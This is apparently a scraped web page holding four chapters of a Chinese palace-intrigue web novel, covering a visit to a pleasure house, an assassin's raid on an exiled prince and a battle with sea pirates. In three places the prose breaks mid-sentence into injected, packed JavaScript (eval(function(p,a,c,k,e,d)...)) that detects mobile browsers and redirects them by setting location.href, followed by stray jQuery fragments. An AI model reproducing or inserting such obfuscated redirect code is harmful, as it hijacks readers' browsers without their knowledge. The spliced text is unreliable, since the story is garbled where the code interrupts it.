其实方绾宁心里是想去的,她低声试探道:“好像就是听曲赏舞的地方,应该没什么危险吧。” 文晓还想说什么,却被蒋时月打断,“你们家公子想去什么地方还要跟你汇报吗?”可能在时月心里知道文晓只是方绾宁的婢女,态度上就有点不友好。 文晓听后一下就皱眉了,方绾宁也不太高兴,“时月,别对文晓无礼。” 蒋时月吐了下舌头,又拉着方绾宁朝里走,“好啦,走吧。没什么的,我哥在里面呢,那进门的小厮还认得我呢。” 文晓和王霄落在后面,文晓对着王霄说:“你也不拦着点执事。” 谁知王霄脸上是满不在乎的神情,“我只负责她的安全,不负责看管方执事的去向。”说完就跟着方绾宁进了楼。 蒋时月一看就经常来这,熟门熟路的,一路走来和好多小厮,姑娘都打了招呼,“嗨!喜儿姐姐。” 只见一个穿着大红色纱衣的女子走来,拿着团扇,发饰精致,一支流苏长步摇簪在头上,一步一摇,款款生姿。“时月,你又溜进来,不怕你哥逮住你,罚你抄琴谱?” “今日不是我要来的,是方宁方公子想来看看那新来的舞姬。”蒋时月推了推方绾宁的胳膊,用她当了借口。 方绾宁也不恼,进都进来了,就不扭扭捏捏了,没错,她就是为了看漂亮姐姐来的! 她正了正身,嘴角勾起一个礼貌的笑,“是,是我拜托时月带我来的,烦请喜儿姑娘为我等安排一个位置,听闻因为这舞姬,秦梦楼已经连着好几天都门庭若市,实在令人心向往之。” 喜儿打量了她一番,见虽然年纪小,但衣着不凡,面若冠玉,身后跟着的两人也是气质上佳,用扇子掩了掩嘴角,娇媚的说道:“那奴家这就为这位小公子安排个雅座。” 喜儿领着她们一行人走到二楼一处厢房,斜对着就是一楼的舞台,能纵观全貌,属实是个好位置。 “客人们就先休息会儿,还有半盏茶的功夫,新来的初海姑娘就要上台了。”说完喜儿就福了福身子,退下了。 这是方绾宁穿到东洲第一次来舞楼妓馆,着实新奇。她趴在栏杆处,环望周围的陈设布置,心里正兴奋不已。 满目皆是亮堂堂的烛火,各色的彩绸或缠绕在柱子上,或是悬挂在穹顶,娇艳欲滴的花儿随处可见,与楼里的姑娘们十分相衬,各处珠帘后藏着正弹琴或跳舞的妖娆妓子,牵动着所有来秦梦楼的客人心肠。 方绾宁一行人在厢房里等了一会儿,忽然见周围的光线一下子消失了大半,大堂内的人声也有一瞬间的沉寂,这时,一阵悠扬旷远的箫声渐起,伴随着萧声,舞台中央出现一个身着彩衣面带纱巾的女子,头上戴满了雀羽,水袖舒展,拧着婀娜的腰肢,翩翩舞动。 更多的乐声加入进来,初海姑娘的舞步也随之变换,飘逸的绸带在她手里像是轻云,舞步盈盈,轻垫脚尖旋转似要凌空飞走,连带着楼里所有的看客都沉浸在她飘飘的衣袂里。 直到一舞毕,大厅里的人似乎还沉醉在刚才的舞姿里,直到有一人带头鼓掌,人群才爆发出叫好的赞美声。 初海姑娘站定,扯下面纱,露出一张百媚千娇的脸,福了福身,下了台。 二楼的方绾宁刚回过神,就问蒋时月,“这就完了?这么多人不会就为了看这一支舞吧。” 蒋时月对这里熟悉,替她解惑,“接下来初海姑娘就要去陪贵客喝酒啦,你想和她说会话不,只要这个数,就能让佳人过来单独为你跳。”蒋时月凑到方绾宁耳边对她说了一个数字。 方绾宁本来还挺期待,谁知听见那个金额她脸一下子就垮下来了,“她抢钱啊!” 又懊恼,哎,好想能有让她打劫的身家啊。 谁成想,就在方绾宁要去如厕的时候,看见初海姑娘入了她旁边的一间厢房,她按捺不住热腾腾的心思,轻手轻脚过去,糊开了窗户纸,悄悄往里看了去。 32.周陵 第三十二章 方绾宁选的位置有问题,这个角度往里看根本看不见初海姑娘的舞姿,只能在屏风的边缘看见翻飞的水袖。 正当她准备失望而去时,却听见里面传来的声音里,有太子的字样。 她凝了凝神,耳朵贴在窗户上,探听里面的谈话。 听声音,是个中年男子:“承王殿下入主东宫之位,我们这些做臣子的,合该送一份大礼才是。” “什么礼?”有人附和。 “不如,就送这个美人如何?”房里爆出一阵荒淫的笑声,方绾宁心里一阵恶心。 又一个男子说:“可不知,这新太子脾性如何,如果这礼他不喜,岂不是搬起石头砸自己的脚嘛。” 另一人宽慰道:“嘿,你以为承王是那个前太子嘛?一尘不染?守正不阿?据说之前有人曾贿赂过那位前太子,谁知转头就被下了狱。相比起来这承王可平易近人许多,没准儿这次进献,就能给咱们填个京都的肥差,哈哈哈!” 一群人喝了酒,嘴里没个把门的。方绾宁听得头疼,想转身走了,谁知里面一人又说:“这承王登了位,想必青州的那位渊王日子就难过咯。” “是啊,如今新太子荣宠正盛,满朝皆颂扬,而那渊王已去青州之地小半年,陛下愣是没半点提及,想必,之前传闻陛下喜爱极了那五皇子的话都是谣言吧。” 屋里说话的声音渐小,方绾宁听不太清了,只零星听见:“恐怕……在世……留。”之类的字样,她心里一沉,又见不远处有人走了过来,随即她慌忙起身回了房间。 方绾宁如今的心思像是一团乱麻,推开门又瞧见乌七八糟的一幕,更是心忧。 厢房内,蒋时彦不知什么时候也来了,一只手里还拿着萧,另一只正揪着他妹妹的耳朵兴师问罪:“不好好在家待着照顾爷爷,出来闲逛是吧,都说好几遍了,这地方是你能来的嘛?你这耳朵既然听不进去,就别留着了。” 蒋时月耳朵都红了,“哥,求你,轻点。”一边还不忘狡辩,“是方公子央求我带他来的,不是我自己要来的。” 方绾宁过去从蒋时彦手里救下时月,将她挡在身后,“是我让时月带我来赏舞听曲的,你责怪她干嘛?” 蒋时彦心里也窝着火,但看着站在自己身前的方绾宁又不好再动手,他没好气的朝她开口,“方公子,时月年纪小不懂事也就算了,你跟着凑什么热闹,再说了,你想去什么地方去不得?用得着我妹妹带路,你可别把她给带坏了。” “我带着她,蒋公子你就放一百二十个心吧,至少我不会让她再出门去唱曲儿。” 蒋时月看有人替她撑腰,在方绾宁身后冲着他哥做了一个鬼脸,激得蒋时彦举起手里的萧作势就要打她,“唱曲怎么了,那也是正经营生,是比不得方公子富贵,也好过被你带着逛青楼!” 方绾宁挡在身前,没躲没闪,尽管知道他这手应该是落不下来,却还是忍不住闭了眼,还好王霄过来擒住了蒋时彦的手,眼神落在他脸上,满是警告的意味。 方绾宁松了一口气,又正了神色,让身后的时月去了一边的凳子上老实坐着,扭头对上蒋时彦的眼睛。 “蒋公子。”她朝前近了一步,眼里满是冰寒之意,逼得蒋时彦退后一步,“你可知道我第一次见时月的时候,她给我唱的曲是什么嘛?” “哎,方公子!你说过不说的。”蒋时月在一旁急了。 蒋时彦双眉轻皱,方绾宁没管时月的惊呼接着说,“她给我唱的是《锦花笑》,一个十一岁的小姑娘竟能面不改色的在男子面前唱此曲,实在给了我当时极大的震颤。” 蒋时彦听到此处,更是直接惊愕得失了语。 他又听见方绾宁说:“之后我了解到了你家的境况,才能想明白,时月也只是为了减轻你的负担,靠着你在这楼里做乐师的工钱,不仅一边要付着房子租赁的钱,还想着给蒋伯看眼睛,已经是入不敷出,她不过是看自己的哥哥在这秦梦楼里吹曲,所见所闻,耳濡目染之下,才学了那些淫词艳曲,她有什么错?她最初也不过是想,让你肩上的担子卸下来一些罢了。” 方绾宁今日心里压着事儿,不想再多费口舌,“蒋公子,你们的家事我就不多掺和了,不过烦请你下次想动手前,还是仔细思量清楚,世间何情唯真?泪血溶彼身,她是你这世上最后的来处和归途,你是什么样,她也逃不了!” 蒋时彦还愣着,方绾宁也不多逗留,叫上文晓和王霄就离开了秦梦楼。 “哥。”蒋时月趴在桌上怯生生的喊他,虽然藏了很久的小秘密被知道了,但被那个方宁一番话说完,好像有种心终于落地的感觉。 蒋时月走过去停在她哥身前,低头向他认错,“哥,是我不对,你别生气了……” “什么时候开始的?”蒋时彦问。 “嗯?” “我问你是从什么时候开始唱那些东西的?”蒋时彦将声音提高了些,闭着眼睛叹了一口气重新问她。 蒋时月老老实实交代,但嗓音越来越发虚,“也没多久,开始的时候还是正常唱的,直到大半年前不是来楼里给你送曲谱嘛,就和楼里的姑娘小厮们聊了会儿天,她……她们教我的,说这样能多挣钱。” 蒋时月说完试探的看向她哥,只见蒋时彦将手里的萧捏得都听见了竹子的碎响,也没听见他开口责骂自己。 只听得他低声说:“爷爷居然也知道,就我被你们瞒着,还督促你每天练嗓,呵。”他勾起一个自嘲的笑。 “哥,我保证以后不会再唱了。”蒋时月摇了摇他的手,“方公子学琴的费用能支撑我们过很久,我也会找些其他活计贴补家里,你别生气好不好?” 蒋时彦松开手里的萧,谁知被裂开的尖刺扎破了指尖,他看了一眼流出来的血,没再显露多余的神情,朝妹妹留下一句:“回家吧。”便转身朝门外走去 蒋时月微笑,小步跟了上去。 方绾宁回兰苑的一路上都神思不宁,她不停的想着在秦梦楼里听见的话,满脑子都是俞修衡。 小川之前是太子,然后不知什么原因被废了,远赴青州封王,如今应京重新册立了新太子,那新太子会怎么对小川?清宫戏那九子夺嫡怎么演的来着?雍正登位后,自家的弟弟死的死,贬的贬,反正没一个好下场。 思及此,方绾宁更加惴惴不安。 她回了房间,提笔写下一封信,交给王霄,“王霄,这封信快马送去青州交给王爷。” 王霄接过往外走,方绾宁忽地又反了悔,“慢着。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694870|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她走过去,将王霄手里的信抽了回来,“我还是回一趟青州,这里的事先交给郁先生,他应该快回来了吧。” “方姑娘,你不能回青州。你走了,水沽怎么办?” “过几天郁先生肯定回来了,到时候交给他就行了。”说着就要收拾行李。 王霄拦住她,“方姑娘。你不用再回青州了。” 方绾宁停了下来,看着他。 王霄眼神坚毅,又透出三分无奈,“郁先生,就是回的青州。” 青州。 俞修衡知道应京会来人,只是想不到那么快,来的还是个熟人。 “王爷在青州过得可安好?” 周陵,无官无职,跟在承王身边的江湖谋士,擅长暗探和刺杀,之前在应京见过几面,皆是在黑夜下的刀光里。 “二哥千里迢迢派你来,就是为了向我问好?”俞修衡无视他语气里的轻蔑,漠然开口。 来的人竟然是他,俞修寰的心思已经是摆在明面上了嘛。 赋思上前奉茶,将两杯热茶递到二人手边,和站在王爷身后的关珏交换了个眼神,随后便出了门去。 门外乌泱泱站了一大群人,王府的亲卫和承王麾下的影卫正在对峙,似乎只要屋里的人一声令下,双方就会立马拔刀厮杀。 周陵没有回答俞修衡的问话,两人对坐着,他随意的喝了口茶,发出“嗯”的轻哼,“青州的茶都比应京的难喝,真是苦了我们金枝玉叶的前太子殿下了。”周陵将这个“前”字咬得极重,像是要将它似一支箭般扎在对面人的心坎上。 但俞修衡可没搭理他,表情随意自在,端起茶杯吹了吹上面的茶沫,饮了一口,“这茶还是本王从应京带来的,今年的新茶,周陵你觉得难喝,大概是因为你这舌头不太干净吧。” 周陵嘴角扯出一个自嘲般的笑,“喝了太多掺了血的茶,大概是分不清一杯茶的好坏了吧,谁让我只是个为主子扫除些垃圾的利刃呢。” “利刃?周陵你也是将自己看得高了些,你顶多算是闻着腐味就流口水的野狗。”俞修衡唇角含着笑,半点没将他放在眼里。 周陵失了和他耍嘴皮子的心思,他眼神一凛,猛的将茶杯挥在地上,“渊王殿下似乎还看不清现在的形势吧。” 门外的卫队们听到了声响,各自将手放在了刀柄上,关珏也近了一步。 “你指的是二哥册封太子一事吧,做弟弟的,合该送一份大礼才是,哪里值得二哥特意派人来青州取呢。”俞修衡伸手将关珏拦了一下,示意他不要轻举妄动。 周陵站起身来,笑得有些放肆,“渊王这样说才对嘛,真是省了我不少功夫,这礼物你还真是非送不可。” 他面朝着俞修衡,目光锐利,“我来这儿,是奉命取一样东西的,这样东西到手了,就能让渊王多看几年太阳,但王爷若是不愿意交出来,太子殿下也允许我用些特别的手段。” “二哥真是,如今这等地位要什么没有,非要来拿我的。” 俞修衡语气轻松,半点不怵,迎着周陵凌厉的视线轻柔的问:“不妨说说看,二哥想要什么?又值得他用什么特别的手段?” 周陵将脸沉下来,一字一句盯着他道:“江太傅临终前交给王爷的手书。” 33.天谴 第三十三章 “手书?”俞修衡眉头不着痕迹的一皱,“是本王外祖留下的家书吧。二哥要那个干嘛?他自己没有外祖嘛?让中书令谢大人写一封不就好了。” “王爷,您也别装糊涂了,江太傅主持东洲春闱二十余年,门生遍布朝堂,曾在临终前亲手写下一本贪官名册,交给了当时年仅九岁的太子殿下。”周陵直直的看着俞修衡,微眯起双眼,“这封手书,替当年的您扫除了不少障碍吧,现在,交出来吧,如果王爷还想活命的话。” 俞修衡听完周陵的话,愣神了片刻,随即又笑了,“如果我记得没错的话,父皇当时已经破除此等谣言了,二哥他如今重新提起,又是何用意?” “主子的令,我们这些做下属的也不好过问太多,只好让渊王殿下仔细想想了。”周陵重新坐回椅子里,抽出一柄短刀开始用衣摆擦拭,“我劝王爷别藏了,让我等早些回去交差,青州的风我实在闻不惯,腥臭的味道真是令人作呕。” 关珏见了周陵的动作,便将手里的剑也“唰”的拔出来,用剑尖指着他的脸,“不愿待,就滚。” 周陵抬眼瞧了瞧他,鼻子发出冷哼,“关珏,鸿雁山庄的墓地许久没有回去过了吧,真是一条好狗,攀上了权贵的腿,连灭门之祸都能避开,怪不得如今叫得这样欢。” 关珏目眦欲裂,握剑的手紧绷,剑尖忍不住往前推了半寸,俞修衡站起身拍了拍关珏的小臂,让他往后退,“关珏,把剑收起来,应京的人无礼,我们可不能学他。” 俞修衡又朝着周陵说道:“周陵,你这差事恐怕办不妥了,二哥想要的东西本王没有。” “王爷说没有就没有,我可不信,让我等搜一搜王府便知道了。” 关珏还没来得及收回剑鞘的剑又重新指向周陵,这次俞修衡没再拦着他了,“周陵,别太放肆!这里可是亲王府邸。” “知道,不用你提醒。如果王爷愿意交出来 ,我周陵立马领着人退出青州,但王爷要是不配合,那就是逼得我动武了。” 周陵目光狠戾看着关珏,“关珏,鸿雁山庄的云梧剑法是厉害,但是我此行特地为你带来了一个人。” 话音刚落,一股恶寒从关珏身后传来,冰冷的气息喷洒在他颈后,关珏转身挥剑而出,剑气猛烈破开了轩窗,但对面站着的那黑衣人却毫发无损。 他以极其诡异的身法躲开了关珏的这一剑。 “玄月门最顶级的杀手,暗轮,可是花了我们不少的功夫,关珏,好好享用吧。” 周陵的声音幽幽响起,随后那杀手便向关珏出手了,招式凌厉,刀光照亮了彼此的双眼,两人瞬间缠斗起来。 周陵这才将目光落在右手边的俞修衡身上,见终于让他那张淡然的脸上露出些许惊惧之色,心中实在欢喜,“王爷,终于没人打扰咱们了,老是让关珏那么拿剑指着,实在是令人厌烦。” 俞修衡并不搭理他,眼神落在不远处的关珏身上,那叫暗轮的杀手果真难缠,一柄柳叶刀使得出神入化,竟将关珏屡屡压制。 “王爷,现在可想起来那封手书在哪儿了?”周陵的声音又响起来了。 “本王早就说过,外祖留下来的只是家书,并非你们认为的名册。”俞修衡恼怒。 “嗯,那既然如此,我们也不和王爷客气了,你这王府就让我们参观参观吧。”周陵走到门口向门外的暗卫下令,“都别被人指着了,动手吧!” 门外陡然响起刀戈的碰撞之声,人群的嘶吼,鲜血撒在地上,俞修衡已经闻到了空气里的锈味,他不忍地闭上了眼。 霍然又睁开了来,眼里爬上了血丝,眼角微红,冲周陵吼道:“周陵,住手!我是父皇亲封的亲王,你敢在我的属地干这种事,你就不怕天威?俞修寰就不怕朝中百官对他的口诛笔伐?” 周陵呵呵一笑,“好了,别吓我了,渊王殿下。早在宫宴上,你当众刺伤我家殿下时,你就已经被陛下厌弃了,一个弑兄凉薄之人还敢拿天威作挡,你也是说的出口。” 俞修衡怒极,转身从塌下抽出一把剑,指向周陵,“你胡说!那明明是他俞修寰激我刺的他,再者说,他滥杀无辜,视人命如草芥,他该死!” 俞修衡握着剑狠狠向周陵刺过去,却被他旋身躲开,周陵反握住短刀对上俞修衡的剑,用力将其震开,欺身上前用刀柄砸向了他手腕,俞修衡吃痛将剑落在了地上,那把刀刃瞬间抵在了他的脖颈,“别乱动了,要不然下一秒,该死的就是你了。” “你要搜便搜吧,让你的人停下,别再伤人。”俞修衡望向门外散落一地的尸体,又瞥见关珏臂上狰狞的伤口,无望的说。 周陵持着刀,将刀身往俞修衡的脖子近了半分,轻笑,“你还不明白嘛?王爷,那手书我要,你整个王府的命,我也要。” 他将俞修衡用短刀抵住,逼退至大堂中央的主位上,“就在这安心坐着吧,之前应京不是总传你体恤下属,无比贤德嘛,那你就好好看看门外这些人的血是怎么为你流尽的,黄泉路上,你也好有个伴儿。” 俞修衡不忍心看,也不在乎那柄刀是否在他脖子上留下血痕,他偏头不看院外那些躺在长阶上的尸体,心里似揪着般疼。 但周陵捏着他的下巴不让他转头,言语不停戏弄他:“这就看不下去了?当年你推行新田制的时候,下伏山县不是瞧见一群人正屠村嘛,那场面砍瓜切菜似的,你当初盯挺欢的啊,怎么,杀的是你的人你就不看了?” 像是被刺破了脑里封存久远的记忆,俞修衡猛的抬眼,站起身,一把抓住他的衣领,周陵一时不查,短刀收得不及时,锋利的刀口在俞修衡的脖子上划出一道伤口,瞬间鲜血流满了他的衣襟,他也不在乎这割肉般的疼痛,声音嘶哑。 “是你,是你们啊!梁家村两百户人口原来是他俞修寰下令杀的!” 那个村子是唯一一个愿意指证,朝廷有人侵占田亩的证据,却在一夜之间全灭。白天还对着他欢呼,终于有人肯为他们做主了,夜里却成了一具具冰冷的尸体,那些残肢断臂到处洒,汩汩的鲜血浸满了泥土。 俞修衡紧紧拽住周陵的衣领,殷红的眼角泛起水光,眼底满是滔天的火把,“原来那伙黑衣人是你们啊,你们就不怕恶鬼爬床,就不怕遭天谴嘛!” 周陵冷眼对上他的目光,用力将俞修衡的手掰开,让他重新摔回椅子上,“天谴?那这天谴将被你我平分。” “你什么意思?”俞修衡诧异的盯着他。 周陵用衣袖擦了擦匕首上的血迹,嘴角勾起一个寒冷的笑意,“你以为你手上就多干净,你……” “住手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704084|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !手书在这儿!”门外突然传来了声音。 二人纷纷朝门外看去,钱管家捧着一册书被两人架着走了进来。 钱管家走上前来,跪倒在俞修衡跟前,“老奴对不住王爷。” 周陵朝着门外挥了挥袖,示意手下的人停手,玄月门的杀手也停住了攻势,尽管他一直处于上风,但渐渐开始压制不住关珏了,两人分身站立,仍在悄悄对峙。 周陵大喜,将短刀收回了腰间的刀鞘,上前拿起那本册子就开始翻看起来,“听闻钱管家出身太傅府上吧,还是你这个老仆看得清形势。” 谁知周陵翻着翻着察觉出了不对,一百八十个人的名单怎么会才这么点笔墨,他踢了一脚跪在地上的钱管家,“敢拿假的来骗我,不怕丢了你主子的命?” 钱管家被这一脚踢得趔趄,不敢多动作,又重新跪好,抬起头似不安般看了一眼主位上的俞修衡。 周陵又踢了他一脚,“说!真的在哪儿?” “这是上半册,下半册被王爷藏起来了。”钱管家回答。 周陵登时来了兴致,看了眼俞修衡面上愠怒的表情,蹲下身又问:“藏起来了?那你可知道王爷藏哪儿了?你说出来我可以饶你一命。” “老奴不敢偷生,只求大人拿到了东西就放了我家王爷。” “嗯,也不是不行,不过我要先看到那下半册。” 钱管家直起身,对上周陵探寻的目光,看向一旁的俞修衡,又是一拜,“王爷,饶恕老奴,老爷的手书固然重要,但为今之计还是王爷的性命优先。” 主位上的俞修衡面容仓惶的看着他,“你想清楚了?” 周陵在一边等的不耐烦,掐着钱管家的脖子,“快说,你家王爷的小命可是捏在我手上。” 钱管家颤颤悠悠开口,“在……在东城的一处宅院里,王爷经常一个人去那个地方,大人带着王爷去找,定能找到。” “是吗,那就烦请王爷为我等带个路了。” 东城临海,一行人到此处时,天色已经渐晚,青州的人烟本就稀少,如今走在街道上,寒凉的风带起路边的枯叶飞到空中,满目皆是一片萧索的景象,唯一的暖色竟然是那些暗卫手中提着的,灯笼里的烛火。 一行人停在一所宅院前,俞修衡的脖子已经粗糙的包扎了一下,他面色苍白,衣衫的暗纹透着鲜血的殷红,脖颈处的白布也渗出丝丝血迹,满身狼狈,但他挺身直立,半点掩不住通身的骄矜之气。 “请吧,王爷,都到了这种时候了,别耍花样了,拿到了那下半册,我可以饶你一命。”周陵一边说话,一边推着俞修衡朝前走。 这院子是绾宁走之后的第四天买的,不为别的,只因为这宅里有一座三层高的小阁楼,在最顶上眺望,能看得清青州的海岸和茫茫无际的大海。 绾宁,还好你去了晋照,他在心里庆幸。 俞修衡想到她终于露出了一丝微笑,他知道根本没有那手书,何况是下半册。 门后是什么?他可能已经猜到了一半,但只是静静的朝前走着,关珏被留在了王府,此时身边无一人能战,但他的心仍在火热的跳动,他无所畏惧。 就在俞修衡将手抵在门上将推未推时,后方天空中突然出现了数支火箭,正从青州的海岸线上簌簌朝城里袭来。 34.营救 第三十四章 变故突生! 周陵盯着天空中的火弩也没料想到这一幕,就在这一瞬间的愣神,院中的门突然打开,一双手将俞修衡抓了进去,等他反应过来,抵在短刀下的人已经进了院中,周陵顿时怒极,操起短刀对准还没来得及关上的门,用力刺了过去,可等着他的是从门后猛然穿透出来的长枪,直取他面门。 周陵骇然收刀,翻身朝后激退数步。手下的人立马上前接住了他,周陵定了定身,朝身后摆摆手,示意自己没事,而后抬眼朝那宅院看去。 只见院门此时竟主动打开,一个人从里面走了出来。 “周陵,应京一别已有半年了吧,你竟然自己跑来青州,怎么,上次的伤养好了?不疼了?” “郁见深。”周陵眯起了眼,牙齿磨得“滋滋”作响,“难为你从晋照赶回来,不过,今日你依旧破不了这局。” 郁见深冷笑,“是吗,但今日见到你时,我却已经将你的碑文都想好了。” “大言不惭,你们王府的人马有多少,我早已调查清楚,武力最高的关珏我们也有人拦着他,凭你这身被伤了筋骨的残躯,你以为你能拦得住我身后这三千人!”周陵从旁拔出一柄刀,握在手里起势,只要对面的人有半点进攻的想法,就冲过去斩下他的头颅。 “关珏被拦住了?”郁见深面露疑惑,“那他是谁?” 周陵顺着他的目光,瞧见东南角的院墙上不知何时站着一个人,他定睛一看,那抱剑而立的人不是关珏又是谁? 他大惊,“怎会,玄月门最顶级的杀手暗轮都制不住他!?” 就在二人交谈间,从海岸线射来的火弩已经将城里的民居点燃,霎时间火光冲天。 身后的暗卫突然附耳向他回禀城内情况,周陵听后,脸色瞬间又兴奋起来,他忍不住大笑,“哈哈哈,真是天助我也,郁见深,你还不知道吧,海寇已经在港口登岸,不到一柱香的时间,就能杀到此处,我只需要等着他们劫掠结束,再回头来慢慢找名册,岂不是最省力。” “一柱香嘛?也够把你们的命留在此地了。”郁见深面色沉静得不像话,像是海寇来袭的这个消息早就掌握在他的手中。 “口出狂言!”周陵转身朝身后的暗卫下令,“都听着,我们现在退至城门待命,等到明早再来替他们……” 话音还没落,一柄快得出奇的柳叶刀瞬间划过周陵的喉咙,喷洒出来的鲜血溅在最近的卫兵脸上,惊得他目瞪口呆。 周陵不可置信的捂着喉咙,缓慢扭过头看着暗轮收刀,一步一步走向郁见深的身后。 “你是……你背叛……”他颤抖地指着暗轮,颈动脉流出的血快速带走了他的生命,到死他也没想明白为何总是斗不过郁见深,在应京是这样,到了青州还是这样,他断了呼吸,但眼睛里依然映着郁见深挺拔的身影。 周陵一死,剩下的暗卫犹如过街的老鼠,被两旁街道上涌出来的军队杀了个干净。 郁见深转身回了院子复命。 俞修衡站立在院子里,遥遥望着城内燃起的火光,四周围着一圈又一圈的亲卫,连关珏也站回了自己身旁,只有脖颈还没愈合的伤仍旧猩红一片。 郁见深进院,停在俞修衡身前,率领众人朝着他跪下,“属下营救来迟,请王爷恕罪。” “郁先生请起,难为你千里奔袭,来得不晚,刚刚好。” “让王爷受伤是属下们的失职。”郁见深等人并没有起身。 俞修衡摸了摸颈上的白布,轻轻摇摇头,“这不关你的事,是我自己撞上了周陵的刀。” 郁见深抬眼诧异的看向俞修衡。 俞修衡解释,“郁先生还记得伏山县的梁家村嘛?当年我们推行新田制时遭遇当地世家阻挠,幸亏梁家村村民愿意以身为证状告权贵,但……就一晚,他们却被屠村。” 俞修衡难受的顿了顿,又说,“他们在日下低头,在雨里锄禾,为世家劳作一年也换不回全家的温饱,他们寄希望在我的头上,可我却让他们失望。我们看到的,那群杀人放火的黑衣人,原以为是当地氏族派来灭口的,谁知那领头人却是周陵,他受俞修寰指派,他和当地沈氏早有勾结,那些频频恐吓,威胁我们的人群身后,不止有世家,还有他俞修寰……” “殿下。”郁见深唤他,“我们最后不是也让沈氏付出了惨重的代价嘛,沈氏抄家灭族,我们没有让他们白死。” “可新田制最后还是失败了,沈氏不过是成了弃子被推出来挡刀,俞修寰成了那个最终的赢家,我猜现在伏山县的半数土地尽在他手。”俞修衡的鼻息渐渐变得沉重,喉中似有火炭。 “郁先生,我什么也办不成。” 少年意气早被打磨殆尽,今宵伫立风中,心田似躯壳,似火烧。 此时,又一只火弩从墙外遥遥袭来,带着火星似的长尾,射向俞修衡的方位。 他站着没有动。 “铮~”,一道剑光袭来,苍梧剑法第三式——连云千山。 关珏闪身而来,将那支箭劈成两半,后又直直对上俞修衡的眼,“殿下做了很多,我的命就是殿下的恩德。” 俞修衡霎时间愣了神,他看着关珏,忽然又想起他十几岁时的样子,那时候他刚从死牢出来,他问他,想不想活。 七岁的自己就那么站在那个浑身是伤的少年跟前,他被人压着跪他,他筋疲力竭还死命挣扎不想低头。 俞修衡还记得他的眼睛,就和现在一样明亮。 随后他终于露出了如释重负般的笑意,“谢谢你们不嫌我软弱,还愿意跟着我。” “属下愿誓死追随王爷!”院中响起众人高昂的声音。 前世的他做梦也不会想到自己有一天会受人拥戴,可好似这片东洲的土地上到处都长满了这样的人,他们憨直,他们忠勇,只要给他们一点点雨水,他们就能托着你乘风而起,如果是十二岁的俞修衡,可能他全身的血都会在这瞬间沸腾,但他现在是十九岁了,他只会觉得自己不值得。 俞修衡收敛了情绪:“那我们先解决海寇的事吧。”他向郁见深问道:“郁先生,门外的军队从何而来?” “回殿下,是向镇守荣狄的大皇子借的兵,八千人,全部在门外待命。”郁见深递给俞修衡一块兵符,“殿下,这是调兵符。” 大皇子怎么会借兵?俞修衡暂时按住了心下的疑问,将兵符推回郁见深的手心,“那再辛苦一下先生,带兵前去清剿海寇吧。” —————— 果然和张大人说的一样,海寇劫掠,先射一轮火弩,等城中起火,趁乱再上岸,现今这群海寇正抛下船锚,趁着火光大张旗鼓地进了城。 “这鬼青州,人不会都走完了吧。” “是啊,这么大火都没听见人声。” “兄弟们,往内城去!” 陈二提着刀,领着一队人往青州城内走去,这几年他上岸来打劫了好几次,一般靠海的这些民居早几年就荒废了,里面干干净净啥也没有,也就不浪费时间了。 一群海寇浩浩荡荡的在街道上游走,见到店铺便踹开门进去看看有没有能拿的,见到宅子便也进去搜刮,临走时还会放一把火,可谓是所到之处,一根草都不会留。 关珏领着一队人马埋伏在暗处,等着这群海寇尽数走入街中。 这群人的装束确实不似东洲人,衣衫长裤皆是桑麻,粗布制成,腰上都别着一柄小刀,领头人还揣着一个海螺。关珏抬手示意,见最后一个海寇也进了街,立马挥手开始行动。 陈二还没搜罗出什么需要的东西,就被街道两旁窜出来的军队吓得屁滚尿流,不是说青州已经没有军队驻扎了嘛,这是怎么回事? 关珏率先出手,但因着肩上的伤不方便大开大合的招式,便先去擒住队伍最前的领头人。 这群海寇根本就是一群乌合之众,对上训练有素的军队根本不堪一击。 陈二看着周围的兄弟倒下得越来越多,连忙抽出腰间的海螺,对准天空吹响了嘹亮的号声。 下一秒,海螺就被一柄剑砍成了两半,“想撤?没那么容易。”关珏制住了陈二,压着他回去准备向俞修衡复命。 谁知此时城内多处连连响起海螺声,关珏皱眉,这海寇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711965|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过分散还在城内乱窜。陈二趁着关珏分神,拎起手边的大刀就朝着他砍去,面露凶狠,厉声喊道:“去死吧!” 陈二是个大高个儿,身材又十分壮硕,这一刀他用了十成的力气,势必要取他的性命。可没成想,他对上的可是关珏,只见关珏瞬间回神,及其敏锐的偏头躲过了这一刀,而后回身一脚用力踢在了陈二背上,陈二一口血喷了出来。 不到一个时辰,城内的海寇皆被清剿完毕,但他们太谨慎,看形式不对立马吹号撤离,尽管剿杀了不少人也活捉了不少,可还是让一小部分人马逃回了船上,离开了海岸。 荣狄的军队是东洲最强悍的一支,不仅上阵杀敌威猛无比,事后救火也不在话下。才至子时,青州各处的大火均已被扑灭。 这次除了烧了些屋顶,实在也没什么损失。 